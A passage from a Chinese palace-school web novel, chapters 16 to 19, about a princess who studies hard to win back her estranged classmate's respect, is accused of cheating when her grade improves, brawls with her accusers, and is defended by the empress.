但很快,那点诧异就被清冷和失望覆盖了。
她没有反驳,没有解释,甚至没有再多说一个字。
只是冷冷地看着昭荧,眼底写满了“你果然如此”,比任何话都伤人。
两人对峙着。
一个红着眼眶却死撑着不示弱,一个神色冰冷没有半分缓和的意思。
夕阳从破窗户斜照进
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来,把两人的影子拉得老长,投在满是灰尘的地上,谁也不挨着谁。
过了很久,也可能只是几息,裴泠箬先开了口:
“如王女所愿。”
声音里多了一丝冷酷:
“从今往后,各归其位,互不打扰,臣女再不会多管王女的闲事。”
说完,她转身就走。
拉开藏书阁的门时,夕阳涌进来,但随着门在身后缓缓关上,发出沉闷的“吱呀”一声,阁楼里又重新暗下来。
昭荧站在原地,一动不动。
刚才的硬气在那扇门关上的瞬间卸了大半,攥紧的拳头慢慢松开,指甲在掌心留下几道深深的月牙印。
她转头看着那扇关上的门,看着裴泠箬消失的方向,眼底的愤怒一点点褪去,只剩下难以掩饰的委屈和刺痛。
她放的狠话,伤了裴泠箬。
更伤了自己。
——
走到宫学附近时,裴泠箬脚步顿了顿。
几个学子正聚在那儿说话,见她出来,立刻围了上来。
“裴小姐!”
为首的是礼部侍郎家的女儿,名叫李婉,平时在宫学里总爱往裴泠箬身边凑,此刻脸上写满了关切:
“您没事吧?王女她……没为难您吧?”
裴泠箬抬眼看了看她,神色淡淡:“无事。”
“我们都看见了!”
另一个学子凑过来,压低声音,语气里带着几分义愤:“王女拖拽着您,那架势……太过分了!”
“就是!”又有人附和:“仗着自己是王女,就这般胡作非为,裴小姐您别怕,我们都看见了,可以为您作证!”
“对!要不要一起去陛下那儿告她一状?陛下最是公正,定会为您主持公道!”
几人你一言我一语,说得慷慨激昂。
裴泠箬站在那儿,静静听着。
夕阳把她们的脸照得通红,眼睛里却闪着某种兴奋的光,这模样可不是真的为她不平,更像是……终于抓住了王女的把柄,迫不及待想看她倒霉。
她忽然觉得有点可笑。
“不必了,多谢诸位好意,但此事……是我与王女之间的私事,不必惊动陛下。”
李婉一愣:“可是……”
裴泠箬打断她:“天色不早,诸位请回吧,先行一步了。”
说完,她微微颔首,转身继续往宫门走。
几个学子站在原地,面面相觑。
“她……她怎么这样?”
“就是,我们好心帮她,她倒不领情……”
“算了算了,人家是宰相之女,哪需要我们多管闲事?”
议论声渐渐低下去。
裴泠箬走到宫门口时,小厮迎上来:“小姐,马车备好了。”
她点点头,上了车。
车帘放下那一刻,她整个人靠在车壁上,只感手腕还在隐隐作痛。
她是没有习过武的,姬昭荧再怎样顽劣,武术课程也是实打实的被安排着,下个手没轻没重,回去怕是要生出淤青。
她叹了口气,脑子里反复回响着昭荧最后说的那句话:
“你以为你是谁?不过是个被裴家绑着、连放肆都不敢的傀儡!”
傀儡。
她看着车窗外的景色,嘴角忽然露出一抹笑。
并非。
16. 哭归哭,不服输
昭荧一头扎进寝宫,反手把门摔上,整个人往榻边地毯上一瘫。
她憋了一路,从藏书阁到寝宫,穿过大半个皇宫,愣是没让眼泪掉下来。
此刻门一关,四下无人,强装的坚强“啪”就断了。
“呜——哇——”
她张开嘴,嚎啕大哭。
哭声震天响,毫无形象,毫无保留,像个被抢了糖的三岁小孩,鼻涕眼泪糊了一脸,她也不擦,就那么张着嘴,任其横流。
“裴泠箬你混蛋……”她含含糊糊地骂,声音因为浓重的哭腔和鼻音显得断断续续,还因为哭的太上头了好几次发呕:
“我不是故意的……呃呕~你呃呕~竟然那么说我……”
她想起裴泠箬最后那个眼神,冷得像冰,看她像看一摊烂泥。
“呜——你怎么就真的要不理我了……”她越哭越委屈,越哭越后悔,把藏书阁里没掉的眼泪全补了回来。
“我就玩忘了那么一次……你至于吗……至于吗……”
她翻了个身,脸朝下趴在地毯上,闷闷地嚎,声音从地毯纤维里挤出来,变了调。
“砰。”
门被人从外面推开,力道不小,撞在墙上弹了一下。
昭荧哭得太投入,完全没听见脚步声,直到一个熟悉的声音在头顶响起:
“哎呦喂。”
她猛地抬头,泪眼朦胧中看见姬明琅站在门口,手里还端着一碗不知道从哪儿顺来的酥酪,正居高临下地看着她,表情像看见了什么稀奇玩意儿。
“哎呦、哎呦。”姬明琅凑近了些,歪着头端详她:“我的乖女儿,你这鼻涕眼泪流的,脸都花了,真丑哇。”
昭荧哭声一下卡在了喉咙里。
她愣在原地,张着嘴,脸上还挂着两条亮晶晶的鼻涕,整个人呆住了。
她预想中,母王应该冲过来抱住她,问她怎么了、谁欺负她了、心疼得不得了。
结果等来一句“真丑”。
三秒后,她嘴一瘪,哭得比刚才还凶。
“呜呜呜——母王你也欺负我!”她扯着嗓子嚎,声音又尖又委屈,哭的整座寝宫都在抖。
“哎哎哎——”姬明琅被她哭得耳朵嗡嗡响,连忙后退两步,把酥酪放到旁边的桌上:“别嚎了别嚎了,耳朵要聋了。”
昭荧不听,势要争取自己哭泣的权利,使出吃奶的力气继续嚎。
姬明琅捂着耳朵,在椅子上坐下,等她嚎了足足一盏茶的功夫,才慢悠悠开口:“哭够了没?哭够了说说,谁欺负你了?”
昭荧抽抽搭搭地抬起头,红着眼瞪她:“你!”
“我?”姬明琅指着自己鼻子,一脸不可思议:
“我怎么你了?我一进来你就哭成这样,我还以为你看见我高兴的呢。”
“你才丑!你全家都丑!”
“我全家不就包括你吗?”姬明琅挑眉,一脸莫名其妙。
昭荧噎住,张了张嘴,发现自己竟无法反驳,气得又趴回去,把脸埋进胳膊里,继续闷闷地嚎。
姬明琅看着她那副死样子,叹了口气,从袖子里掏出块帕子递过去。
“擦擦,丑死了。”
昭荧赌气不接,她都快难过死了,母王怎么还有心情开她玩笑!
姬明琅见状也不做勉强,把帕子扔她脑袋上,自己端回酥酪,舀了一勺塞嘴里,含糊不清地说:
“好了,说吧,到底怎么了?谁惹你了?”
“没人惹我。”
“没人惹你你哭成这样?”姬明琅嗤笑一声:“你当我是你姨母那么好骗?”
欸,叠甲,她没说皇姐不聪明的意思!
昭荧不说话,脸埋着,肩膀一抽一抽的。
姬明琅便慢悠悠地吃酥酪,吃完一碗,又掏了块糖出来剥了吃,吃完糖,还打了个小小的饱嗝。
昭荧终于忍不住了,抬起头,红着眼看她:“你就不能安慰我一下吗?”
“安慰什么?”姬明琅一脸莫名其妙:“我又不知道你为什么哭,怎么安慰?万一我安慰错了,你哭得更凶怎么办?”
昭荧被她气得噎住,眼泪都忘了流。
“那你来干嘛的?”
“来看看你啊。”姬明琅理所当然地说:“好歹你是我生的。”
“然后呢?”
“然后我就来了啊。”姬明琅摊手:“一进门就看见你趴在地上嚎,跟杀猪似的。”
“你才杀猪!”昭荧气鼓鼓地瞪她。
“我是养猪的差不多。”
姬明琅摆摆手:“所以你到底哭什么?宫学有人欺负你了?不应该啊,你是王女,谁敢欺负你?”
昭荧沉默了一会儿,闷闷地说:“裴泠箬。”
“裴相家那个小姑娘?”姬明琅挑眉:“她怎么你了?”
“她……她说我是纨绔。”
“你不是吗?”
昭荧猛地抬头,瞪大眼睛:“你说什么?”
“我说,你不是吗?”
姬明琅一脸认真地重复了一遍:“你看看你,逃课、翻墙、斗鸡、跟沈家那丫头混在一起不务正业,之前还编造口谕.......这要不算纨绔,那什么叫纨绔?”
昭荧被她说得脸一阵红一阵白,想反驳又找不到话,最后憋出一句:“我那是……那是……”
“那是什么?”
昭荧张了张嘴,“装”字到了嘴边,又硬生生咽了回去。
她不能说。
藏书阁里那些话,是她和裴泠箬的秘密。
母王不知道她在装,姨母也不知道,全天下都不知道。
在所有人眼里,姬昭荧就是这样一个不学无术、顽劣成性的纨绔王女。
包括她亲娘。
“算了。”她低下头,闷闷地说:“你说得对,我就是纨绔。”
姬明琅看着她这副蔫头耷脑的样子,忽然笑了。
“怎么,被人家说了一句,就受不了了?”
昭荧不说话。
“人家说你是纨绔,你委屈什么?你要是真不服,就拿出点样子来,让人看看你不是啊。”
姬明琅往椅背上一靠:“光趴在这儿哭有什么用?哭能让人家改口吗?”
昭荧抬起头,红着眼看她:“你不懂……”
“我怎么不懂?”
姬明琅挑眉:“我又不是从娘胎里一出来就长这么大的,你以为我没被人说过?
我当年被封到封地的时候,朝堂上那些人怎么说的,你知道吗?
说我就是被打发走的,一个什么都做不到的闲散王爷放在京城真是太丢人了!”
“我当时也委屈啊,也哭啊。”
姬明琅说起往
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事,语气倒是云淡风轻:“但你姨母跟我说了一句话——她说,委屈没用,倒是干出点事来,让他们闭嘴啊。”
昭荧看着她,眼眶还红着,但哭声彻底停了。
“我去了封地,一待就是十几年。”
姬明琅耸耸肩:“封地治理得怎么样我不敢说,但至少那些人现在不敢再当我面说那些话了。”
她站起身,走到昭荧面前,蹲下来,和她平视。
“荧儿,裴家那小姑娘说你是纨绔,你要是不服,就去证明你不是,考个好成绩,写篇像样的策论,干点正经事——让她看看,你姬昭荧也不是只会吃喝玩乐的废物。”
昭荧咬着嘴唇,不说话。
“当然了——”姬明琅话锋一转,又恢复了那副嬉皮笑脸的样子:
“你要真就是纨绔,那也没办法,认命呗,反正你姨母还能再撑个几十年,到时候再说。”
“……你够了。”昭荧对自家母王有点无语。
“够什么够?我说的是实话啊。”
姬明琅站起身,拍拍裙子:“你要是真没那个能耐,硬装也没用,还不如老老实实当你的纨绔,反正你姨母疼你,朝臣也不敢把你怎么样。”
昭荧攥紧拳头,心底的不服气被这话彻底激了起来。
“谁说我真没那个能耐?”她梗着脖子,红着眼瞪姬明琅。
姬明琅挑眉,嘴角微翘,眼底闪过一丝不易察觉的笑:“哦?那你倒是拿出点能耐来啊。”
“我——”
“你什么你?”姬明琅双手抱胸:“光说不练谁不会?你要真有那个心,以后宫学好好上课,策论好好写,别整天画王八。”
昭荧被她说得脸一阵红一阵白,闷着头不说话,但心中那团火已经被彻底点着了。
姬明琅看着她一副憋屈又逞强的样子,心里已经乐开花了,要是激将法真奏效了,她就可以早点回封地逍遥去了。
她伸了个懒腰:“哎呦,我不陪你在这儿哭了,回去补个觉,困死了。”
她转身往门口走,走到门边时,回头看了一眼。
昭荧还坐在地毯上,低着头,不知道在想什么。
“荧儿。”
“嗯?”
“你要是真是‘扮猪’也罢,但可千万不能真当小猪呀!”
“你才——”
咔哒,门关上。
昭荧坐在地毯上,有点气恼:“哼!母王你才小猪!”
她攥紧拳头,指甲掐进掌心。
扮猪?
她虽然确实在扮猪。
可扮着扮着,好像所有人都真把她当猪了.......
“纨绔”“不务正业”“打心底里就是那样的人”……
那些话像刀子,仍一刀一刀扎在她心上。
最气人的是,她还没法反驳。
“啊——!”
昭荧猛地爬起来,对着空气挥了一拳,又狠狠踹了一脚旁边的凳子。
凳子“哐当”一声倒在地上,她自己的脚趾也跟着遭了难。
“啊——”痛的她抱着脚表演金鸡独立。
她便更气了,冲到榻边抓起榻上的枕头,狠狠砸向墙壁。
枕头软绵绵的,砸在墙上连个响都没有,又弹回来砸她脸上。
哇!
连个枕头都欺负她!
17. 自证风波
一个月。
昭荧掰着手指头数了整整三十天,从落叶数到起风,从起风数到天凉。
她和裴泠箬之间的“不对付”,比从前更甚。
从前好歹还会互相瞪眼、偶尔拌嘴,现在倒好,彻底成了陌路人。
但由于两人向来不合,一个顽劣不羁、一个清高自持,从前就很少说话,如今彻底形同陌路,在所有学子眼里,再正常不过。
太傅倒是松了口气,随着这俩祖宗终于消停了,血压也跟着稳定了不少。
直到某天宫学开课前。
裴泠箬突然起身,走到太傅面前,恭敬行礼:“太傅,学生有一事相求。”
太傅放下书卷:“何事?”
“王女往日课堂偶有分心捣乱,学生坐在后排,难免被干扰,恳请太傅准学生调整座位,以便专心听课。”
话音落下,整个学堂瞬间安静。
所有人的目光齐刷刷看向后排——昭荧正趴在桌上打哈欠,闻言动作一僵,哈欠打到一半卡在喉咙里,表情滑稽得像吞了只苍蝇。
太傅看了看裴泠箬,又看了看后排那个一脸懵的王女,眉头微皱。
他素来赏识裴泠箬的勤勉,对昭荧的顽劣也颇有微词,此刻听裴泠箬这么说,心中杆秤立刻偏了。
“准。”太傅点头:“你想坐哪儿?”
“前排中间即可。”裴泠箬答得干脆。
“去吧。”
裴泠箬行礼,转身走回座位,利落地收拾好笔墨纸砚,抱着书箱走到前排最中间的位置,坐下,铺纸,研墨,全程没看过后排一眼,仿佛后排那个目瞪口呆的王女,根本不存在。
昭荧“切”了一声,并不在乎。
等到第二天走进学堂,看见那个熟悉的背影端坐在前排,距离远得她想扔纸团都扔不到。
她愣在门口,手里攥着昨晚熬夜写的策论草稿,纸边都被她捏出了褶子。
她本来想今天找个机会,假装不经意让裴泠箬看到这篇策论的。
现在好了,别说看策论,连脸都看不见了。
昭荧闷闷不乐地坐回自己的位置,盯着那个端端正正的背影,只感憋屈。
等着。
她暗暗咬牙,这次大考,我一定让你刮目相看,让你知道,我姬昭荧不是你说的那种人。
散学后,昭荧揣着钓竿鱼篓,快步追上沈妤和林双双。
“走,去御花园钓鱼。”她晃了晃手里的鱼篓,语气还是那副吊儿郎当的样子:“现在锦鲤老肥了,钓几条玩玩。”
沈妤眼睛一亮:“行啊!上回我钓了条金的,养了三天死了,这回再钓条。”
“你那叫钓吗?”林双双翻了个白眼:“你用网兜捞的,鱼鳞都刮掉一半,不死才怪。”
三人说说笑笑往御花园走,聊起太傅新讲的《春秋》,沈妤学着太傅摇头晃脑的样子,逗得昭荧笑弯了腰。
走到半路,沈妤余光瞥见不远处一抹月白色的身影——裴泠箬正独自往宫门走,身边没跟任何人,背影笔直却显得孤零零的。
“哎,你看。”沈妤用胳膊肘捅了捅昭荧,压低声音:
“裴泠箬又一个人走,每天都独来独往,跟谁都不亲近,也太清高了点,难怪没人愿意跟她玩。”
林双双也跟着附和:“可不是嘛,以前在宫学,她就总是独来独往,如今调去前排,更是一副拒人千里的样子,看着就让人觉得生分,也就成绩好,不然谁搭理她。”
换作从前,昭荧肯定会跟着点头,甚至调侃两句“人家那是才女的傲气,懂不懂”。
可现在,听到别人说裴泠箬不好,她心里莫名窜起一股邪火,想都没想就怼了回去:“说人家干嘛!管好自己吧!”
沈妤和林双双同时僵住。
两人对视一眼,眼里写满了震惊。
沈妤试探着问:“明曜,你怎么了?你以前不也觉得她太清高,不爱搭理人吗?怎么今天还护着她?”
昭荧被问得一愣,瞬间嘴硬起来:“谁护着她了!”顿了顿,又找补道:“我就是觉得,背后说人闲话不地道,咱们自己玩自己的,提她干嘛!赶紧走!”
沈妤和林双双一脸懵圈,被昭荧推着往前走,走远后还在小声嘀咕:
“不对劲,她今天太奇怪了。”
“可不是嘛,以前也没见她这么在意别人说谁闲话啊。”
“难道是咱们说重了?”
昭荧听着身后的嘀咕,嘴角撇了撇,心里暗暗嘟囔:你们懂什么?她根本就不是你们说的那样!
她只是……只是不想听别人说她不好。
至于为什么不想,昭荧自己也说不清楚。
大概是因为,她比谁都清楚,裴泠箬不是清高,只是不知道怎么跟人亲近。
不是孤僻,只是被裴家那座大山压着,连笑都要小心翼翼。
一转眼,宫学大考的日子就到了。
太傅站在讲台上,郑重其事地宣布:“此次大考成绩会张榜公示,也会呈给陛下过目,望诸位学子认真对待,莫要辜负了这几个月的苦读。”
学堂里一片哀嚎,昭荧却难得地没有跟着起哄。
这一个月,她没逃过一节课,没在策论纸上画过一只王八。
每天天不亮就爬起来背书,夜深了还在灯下写策论,连宫女都以为她中了邪。
她就是要证明,她不是裴泠箬说的那种人。
考前,她忍不住偷瞄了一眼前排,在心里狠狠发誓:这次一定要考好,让你刮目相看。
考试开始,监考的太傅差点以为自己走错了学堂。
姬昭荧——那个每次考试不是睡觉就是画王八的王女,竟然在认认真真地答题。
笔尖沙沙地响,字迹虽算不上漂亮,但一笔一划工工整整,跟她平时鬼画符似的卷子判若两人。
太傅忍不住多看了两眼,满脸诧异。
昭荧全神贯注,连头都没抬。
策论题目是“论农桑之本”,她把这一个月背的、写的、琢磨的全倒了出来,从播种时节写到赋税轻重,从水利灌溉写到仓储调剂。
虽算不上惊艳,但条理清晰,引经据典,绝不是从前那种抄套路的敷衍货色。
三天后,成绩张榜。
宫学门口围得水泄不通,学子们挤在榜单前,议论声嗡嗡的像炸了锅。
昭荧挤在人群里,心跳快得像要从嗓子眼蹦出来。
她先看见榜首“裴泠箬”三个字端端正正写在最上面,后面跟着的成绩一栏写着“甲上”。
意料之中。
昭荧心想,她要是不考第一才奇怪。
众人也纷纷赞叹:
“裴小姐果然名不虚传!”
“甲上啊……我连乙等都考不到……”
裴泠箬站在人群旁,神色平静,不为所动,
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仿佛那个名字不是自己的。
昭荧挤在人群里,紧张地往下找自己的名字,越找心里越慌。
从榜首往下,第二名、第三名……第十名……
没有。
第二十名、第三十名……
还是没有。
她手心开始冒汗,脑子里嗡嗡作响,难道……还是没考好?这一个月的努力,全白费了?
就在她快要放弃时,目光扫过中游偏上的位置——
“姬昭荧”三个字赫然在列!
后面跟着一行小字:丙上。
丙上。
虽然只是中等偏上,离甲等还差得远,但比起从前动不动就“丁下”“不及格”,已经是天大的进步了!
昭荧瞬间眼睛发亮,心里狂喜:我真的进步了!
裴泠箬肯定能看到!她一定会对我改观的!
她忍不住咧嘴笑起来,转头就想去找裴泠箬,想看看她是什么表情,可下一秒,周围的议论声就变了味——
“等等。”旁边一个声音突然响起,带着毫不掩饰的质疑:“姬昭荧?王女?她怎么可能考这么好?以前不都是吊车尾,有时候连及格都费劲吗?”
昭荧的笑容僵在脸上。
“还用问?”另一个声音阴阳怪气接话:“肯定是作弊了呗,趁人不注意偷抄了谁的,或者提前弄到了题目。”
“就是!就她那顽劣性子,怎么可能突然开窍?天天斗鸡走狗,跟沈妤她们混在一起,哪有功夫读书?”
“王女这是没救了,连考试都敢作弊,要是陛下知道了,得多寒心啊。”
“可不是嘛,陛下对她寄予厚望,她倒好,净整这些歪门邪道。”
一句接一句,像冰水兜头浇下来。
昭荧站在榜单前,脸上的血色一点一点褪干净,她攥紧拳头,气得浑身发抖。
她没有作弊。
她每天天不亮就起床背书,她熬了十几个晚上写策论,她把《齐民要术》翻来覆去看了三遍,她——
她想辩解,想骂人,想冲上去揪住那些人的领子吼“我没有”。
可她张了张嘴,一个字都说不出来。
因为所有人都用一种“果然如此”的眼神看着她。
好像她所有的努力,在“姬昭荧”这三个字面前,都一文不值。
她僵在原地,眼眶发酸,胸口闷得像被人塞了团棉花,喘不上气。
人群外围,裴泠箬站在不远处,也在看榜单。
她听见了那些议论,眉头微微蹙起,视线越过人群,落在昭荧身上。
昭荧背对着她,肩膀绷得很紧,垂在身侧的手攥得死紧,指节都泛了白。
她没有回头,没有辩解,就那么站着,像一棵被风吹得快要折断却死撑着的树。
裴泠箬沉默了片刻,转身离开了。
走出几步,她脚步顿了顿,像是想回头,最终还是没停。
身后,议论声还在继续。
昭荧站在原地,听着那些话一句一句扎进耳朵,忽然觉得特别可笑。
她这一个月拼了命地学,就为了让一个人刮目相看,结果那个人可能根本就没注意到她的成绩。
而那些注意到的人,全在说她作弊。
她慢慢松开拳头,掌心里几道深深的月牙印,渗出了血丝。
“我没有……”她咬着牙,声音发颤:“我没有作弊……”
18. 失控
宫学门口,昭荧攥着拳头,掌心的血丝渗出来,那句“我没有作弊”细若蚊蚋,很快被议论声淹没。
她看着围在身边、满脸嘲讽的学子,尤其是那几个带头质疑她的——
礼部尚书家的公子、太常寺卿家的女儿,还有两个眼熟但不知官位的。
积压了一个月的委屈、努力不被认可的不甘,还有被裴泠箬无视的酸涩,瞬间爆发。
“你们说我作弊,有什么证据?!”
昭荧往前冲了一步,指着带头的那人,气的手都在发抖。
礼部尚书家的公子名叫周彦,素来以“正直敢言”自居,此刻嗤笑一声,语气轻蔑:“证据?你往日的为人,就是最好的证据!”
“不是明摆着吗!”太常寺卿家的女儿附和:
“你从前考试不是睡觉就是交白卷,吊车尾惯了,怎么可能突然考到丙上?除了作弊,还有什么解释?”
“往日为人”“从前考试”这些字眼像一把钝刀,狠狠扎在昭荧心上。
她张了张嘴,竟是一句反驳的话都挤不出来。
过往的事实摆在眼前,她说什么都像是狡辩了。
可是——
“我没有作弊,我这一个月每天都——”
“每天都什么?”周彦打断她,笑容里带着不加掩饰的嘲讽:“每天都跟沈妤她们干些我辈所不齿的勾当?”
周围哄笑一片。
昭荧攥紧拳头,指甲再次掐进掌心,她看着那些嘲笑的面孔,看着那些“果然如此”的眼神,脑子里理智的弦“啪”地断了。
“我让你们胡说!”
昭荧挥拳就朝周彦脸上砸了过去。
这一拳带着风,结结实实砸在他鼻梁上,周彦“嗷”一声惨叫,踉跄后退两步,伸手一摸——满手是血。
“你打我?!”他又惊又怒,声音都变了调:“姬昭荧,你——”
话没说完,昭荧第二拳已经到了。
这回周彦有了防备,侧身躲开,顺手抓住她的袖子一扯——“嘶啦”一声,半截袖子被扯下来。
“打人了!王女打人了!”不知谁喊了一嗓子,场面瞬间炸开。
周彦的几个好友冲上来帮忙,有人拉架、有人趁乱推搡、还有人嘴上不干不净地骂着。
昭荧虽然练过武,力气比寻常学子大,但架不住人多,一时间也落了下风。
脸上被抓出几道红印,头发被扯得乱糟糟的,衣领歪到一边,彻底没了王女的样子。
混乱中,不知谁跑去禀报了太傅。
太傅赶来时,场面已经完全失控。
榜单被扯下来踩在地上,笔墨纸砚散了一地,几个学子挂彩,昭荧脸上带伤、衣衫不整,还在挥拳。
“够了!”太傅一声怒吼:“都给我住手!”
侍卫上前,将扭打在一起的人强行分开。
太傅看着满地狼藉、脸上带伤的昭荧、几个鼻青脸肿的贵族子弟,气得吹胡子瞪眼。
但他却无权决断这种事。
他深吸一口气:“交由陛下处置。”
御书房内,气氛凝重得像暴风雨前的天空。
自姬明玥即位以来,一直推行仁政,广开言路,从不以权贵压人,也不禁止朝臣、学子直言,哪怕是对皇室有质疑,只要言之有物,便不会被追责。
正是这份仁厚,让学子们敢于当众质疑昭荧作弊,不必担心被治罪。
此刻,昭荧和几个学子齐刷刷跪在御书房地上,个个灰头土脸。
昭荧脸上的抓痕格外显眼,嘴角还有点淤青,半截袖子被扯掉,头发散乱,跪在那儿像只被揍过的小野猫。
但那几个带头质疑、动手的学子也没好到哪儿去,周彦鼻梁上糊着血,眼眶青了一块;
太常寺卿家的女儿脸上带着巴掌印,衣袖被扯破;
另外几个也是鼻青脸肿,狼狈不堪,昭荧跟她们比起来算是轻的了。
姬明玥坐在御座上,手里捏着那份宫学大考的榜单,脸色难看至极。
其实早在榜单公示前,太傅就已经把成绩呈给了她。
当她看到“姬昭荧丙上”几个字时,心里别提多欣慰。
她教养昭荧多年,眼看着乖巧可人的孩子跟突然中邪一般变得如今顽劣,却也坚信她骨子里不坏。
如今能静下心来学习、取得这样的进步,她本想好好夸夸昭荧,甚至还备了赏赐。
可没等她把赏赐送出去,就接到宫人的禀报:王女在宫学门口与人斗殴,原因是被质疑大考作弊。
欣慰瞬间就被怒火取代。
“说说吧。”姬明玥开口,语气冰冷:“到底怎么回事?”
周彦抢先开口,声音装的委屈,却依旧不改质疑:
“陛下,学生冤枉!姬王女考试作弊,学生等人只是如实质疑,她却不分青红皂白就动手打学生!您看学生的鼻子——”
他指了指自己糊着血的鼻梁,疼得龇牙咧嘴。
其他几个学子也纷纷哭诉道:“陛下,我等所言句句属实!姬王女往日顽劣,从不读书,此次突然进步巨大,绝非凭真本事,定然是作弊了!”
“学生只是说了几句实话,她就动手打人,求陛下为学生做主!”
昭荧不忿的抬头,眼眶泛红,尽管已有哭腔却也坚持清白:
“我没有作弊!我没有作弊!我这一个月每天都在背书、写策论,我没有偷抄,也没有提前弄题——”
“口说无凭!”周彦打断她,嗤笑一声:“谁信你?你往日的样子谁不知道?除了作弊,你怎么可能考到丙上?”
昭荧又一次语塞,急得眼泪在眼眶里打转,没法反驳。
听着往日亲手种下的因,如今结出的果,她活该受着。
可她就是委屈。
一个月的努力,十几个通宵,翻烂的《齐民要术》,写满的草稿纸,在“姬昭荧”这三个字面前,一文不值。
她低下头,攥紧拳头,指甲掐进掌心的旧伤,疼得发抖。
姬明玥看着这一幕,眼底的怒火彻底压不住了。
她“啪”地拍了一下御案。
“够了!”
她站起身,走到学子们面前,语气冰冷失望:“朕推行仁政,广开言路,是让你们直言进谏、明辨是非,不是让你们凭着
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固有印象,随意污蔑皇嗣,更不是让你们聚众斗殴、毫无教养!”
周彦脸色一白,想说什么,被姬明玥一个眼神瞪了回去。
“你们说王女作弊,可有半分证据?”
姬明玥指着周彦,字字诛心:“就凭她往日顽劣,就断定她必然作弊?今日你们敢凭着臆测污蔑王女,明日是不是就敢凭着臆测非议朝臣、妄议朝政?”
几个学子被骂得浑身发抖,纷纷低下头,大气都不敢出。
他们从未见过姬明玥如此动怒,平日里她温和仁厚,对朝臣、学子都礼遇有加,今日却因为这件事,彻底亮出了帝王的威严。
姬明玥骂完,又转向昭荧,语气瞬间缓和下来。
她看着昭荧脸上的抓痕、嘴角的淤青、被扯破的衣袖,眼底的怒火褪去,只剩下藏不住的心疼。
“过来。”她说,声音低了几分。
闻言,昭荧的眼泪瞬间掉下来。
她踉跄着站起来,走到姬明玥面前,像小时候摔倒了一样,哽咽着开口:“姨母……”
姬明玥抬手,轻轻拂过她脸上的抓痕,动作温柔,语气却异常肯定:“姨母知道,姨母信你。”
她转头看向太傅,语气郑重:“此事交由你彻查,明日把此次考试的所有细节、监考记录、王女的答卷一一呈上来。
务必还王女一个清白,若真有作弊之事,朕绝不姑息,若只是污蔑——”
她冷哼一声:“朕自有处置。”
太傅连忙躬身:“臣遵旨!”
几个学子跪在地上,脸色惨白,心底已经开始发慌。
姬明玥收回落在昭荧身上的目光,重新看向跪着的那几人,语气没有半分缓和:
“你们身为贵族子弟,不思进取,反倒凭着臆测污蔑皇嗣、聚众斗殴,连最基本的教养和分寸都没有。”
“现在,你们立刻回去,告知你们的母父,明日辰时,务必进宫见朕。
朕倒要问问,她们是怎么教孩子的,教出这么一群目无规矩、肆意妄为的东西!”
学子们脸色瞬间失了血色,浑身抖得更厉害,连忙磕头:“学生……学生遵旨……”
周彦嘴唇哆嗦着,想求饶,但对上姬明玥冰冷的眼神,一个字都不敢多说。
“退下吧。”姬明玥摆手。
侍卫上前,将几个学子带了出去。
御书房里终于恢复了安静,只剩下姬明玥、昭荧和太傅。
姬明玥吩咐一旁的宫女:“去传太医,给王女处理脸上的伤。”
宫女应声退下。
昭荧站在那儿,眼泪还在掉,却用力吸了吸鼻子,小声喊了一句:“姨母……疼....”
姬明玥叹了口气,抬手揉了揉她的头发,语气温柔却带着几分无奈:
“傻孩子,还知道疼啊?下次再遇事,莫要这般冲动,你是王女,跟他们动手,像什么话?”
顿了顿,又补了一句:“就算要打,也别一个人上,叫上侍卫。”
太傅在旁边嘴角抽了抽,假装没听见。
昭荧抽噎着点头,眼泪糊了一脸,却忍不住得意地弯了弯嘴角。
19. 献策
太傅在书房里坐了一夜。
面前的桌案上,监考记录、学子答卷、昭荧这一个月来交上来的策论草稿堆得满满当当。
烛火跳了三跳,他添了几次油,头发又白了几根。
“王女考试当日,申时三刻交卷,期间未曾离席……”他喃喃念着监考的供述,又拿起昭荧的答卷,眉头拧成个死结。
过了一会,把答卷放下,又拿起草稿,又放下,又拿起监考记录……
折腾到天亮,他得出一个结论:既没有证据证明王女作弊,也没有铁证证明她清白。
“这可如何是好……”他揉着眉心,嘴里发苦。
再过两个时辰就要向陛下复命,他总不能两手空空去说“臣查不出来”吧?
窗外天色渐亮,宫学那边该开课了,太傅却一步都迈不动,坐在椅子里,盯着那堆纸发愁。
裴泠箬今日来得比往常早。
她手里拿着昨日没弄懂的策论题,走到书房门口时,却见太傅没去讲课,一个人坐在里面,眉头拧成了疙瘩。
她在门口站了片刻,还是走上前,叩了叩门框:“太傅。”
太傅一回神,看见是她,勉强挤出一丝笑意:“裴小姐,何事?”
“学生有一题不解,想请教太傅。”裴泠箬递上题目,目光扫过桌案上那堆凌乱的文书。
监考记录、答卷、草稿……她垂下眼,轻声问:“太傅似有心事,不知可否告知?”
太傅叹了口气,把那道策论题接过来放在一旁,摇了摇头:“此事事关王女,牵连甚广,裴小姐不必知晓,免得为难。”
他不想把裴泠箬牵扯进来。
她和王女向来不对付,这事要是再把她扯进来,反倒说不清楚。
裴泠箬却没有要走的意思。
她站在原地,神色平静:“太傅所愁,想必是王女考试作弊一事,查无实据,又无法证明其清白,难以向陛下复命吧?”
太傅一愣,抬头看她。
“你如何知道?”
裴泠箬没答这话,只淡淡道:“此事其实不难。”
太傅眼睛微微睁大。
“让王女当众把此次大考的卷子再写一遍便是。”
太傅猛地站起身。
椅子往后一滑,发出一声刺耳的响,他却浑然不觉,眼睛亮得像点了灯:“对啊!老夫怎么没想到!”
让王女当众重考,题目不变,监考加倍。
若写出的答卷与原卷思路一致、条理相近,便是最好的证明,既不用纠结过往,也能让所有人信服!
他激动得在书房里来回踱步,嘴里念念有词:
“当众重考,所有人都看着,谁还能说什么?若是能写出一样的,那就是真本事;若是写不出来……”
他顿了顿,没往下说。
裴泠箬也没接话,只微微颔首:“太傅若觉得可行,便速去禀报陛下吧,学生的问题,改日再请教便是。”
说完,她躬身行礼,转身走出了书房。
太傅站在门口,看着她的背影消失在走廊尽头,才后知后觉地想起一件事——
裴小姐和王女不是水火不容吗?怎么今日倒主动来帮她想主意?
他想了想,没想明白,索性不想了。
低头看看手里的策论题,又看看桌案上那堆纸,把题目往袖子里一塞,大步流星往御书房赶。
御书房里的气氛,比太傅预想的还可怕。
他还没走到门口,就听见里面传来姬明玥冰冷的声音,穿透力极强,连廊下的侍卫都低着头大气不敢出:
“朕推行仁政,让你们安心教养子女,你们就是这么教的?纵容孩子凭着臆测污蔑皇嗣,聚众斗殴,毫无教养!”
“陛下息怒——”几个声音叠在一起,又慌又颤。
“臣回去定好好教训犬子,求陛下开恩……”
“臣教女无方,甘愿受罚,求陛下看在孩子年纪尚小的份上……”
太傅在门口站定,正要敲门,就听见里面传来一个嬉皮笑脸的声音:
“皇姐,消消气,气坏了身子不值当。”
太傅手一顿。
